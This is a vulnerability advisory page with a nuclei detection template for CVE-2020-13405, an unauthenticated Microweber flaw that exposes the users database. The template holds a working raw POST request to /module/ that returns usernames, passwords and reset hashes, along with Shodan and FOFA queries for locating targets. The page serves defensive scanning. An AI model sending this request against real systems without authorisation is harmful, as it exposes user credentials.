Microweber <1.1.20 - Information Disclosure

highseverity

7.5CVSS score

13.6%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

Microweber before 1.1.20 is susceptible to information disclosure via userfiles/modules/users/controller/controller.php. An attacker can disclose the users database via a /modules/ POST request and thus potentially access sensitive information, modify data, and/or execute unauthorized operations.

Impact

An attacker can exploit this vulnerability to gain unauthorized access to sensitive information.

Fix

Upgrade Microweber to version 1.1.20 or later to mitigate the vulnerability.

How to confirm it

Send: POST /module/
Positive when: contains(body,"username") and contains(body,"password") and contains(body,"password_reset_hash") and status_code==200 and contains(header,"text/html")

Run it with nuclei: nuclei -id CVE-2020-13405 -u <target>

The full check

id: CVE-2020-13405

info:
  name: Microweber <1.1.20 - Information Disclosure
  author: ritikchaddha,amit-jd
  severity: high
  description: |
    Microweber before 1.1.20 is susceptible to information disclosure via userfiles/modules/users/controller/controller.php. An attacker can disclose the users database via a /modules/ POST request and thus potentially access sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to sensitive information.
  remediation: |
    Upgrade Microweber to version 1.1.20 or later to mitigate the vulnerability.
  reference:
    - https://rhinosecuritylabs.com/research/microweber-database-disclosure/
    - https://github.com/microweber/microweber/commit/269320e0e0e06a1785e1a1556da769a34280b7e6
    - https://nvd.nist.gov/vuln/detail/CVE-2020-13405
    - https://github.com/merlinepedra/RHINOECURITY-CVEs
    - https://github.com/mrnazu/CVE-2020-13405
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-13405
    cwe-id: CWE-306
    epss-score: 0.13614
    epss-percentile: 0.96501
    cpe: cpe:2.3:a:microweber:microweber:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: microweber
    product: microweber
    shodan-query:
      - http.html:"microweber"
      - http.favicon.hash:780351152
    fofa-query:
      - body="microweber"
      - icon_hash=780351152
  tags: cve,cve2020,microweber,unauth,disclosure,vuln

http:
  - raw:
      - |
        POST /module/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        Referer: {{BaseURL}}admin/view:modules/load_module:users

        module={{endpoint}}

    payloads:
      endpoint:
        - "users/controller"
        - "modules/users/controller"
        - "/modules/users/controller"
    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"username")'
          - 'contains(body,"password")'
          - 'contains(body,"password_reset_hash")'
          - 'status_code==200'
          - 'contains(header,"text/html")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from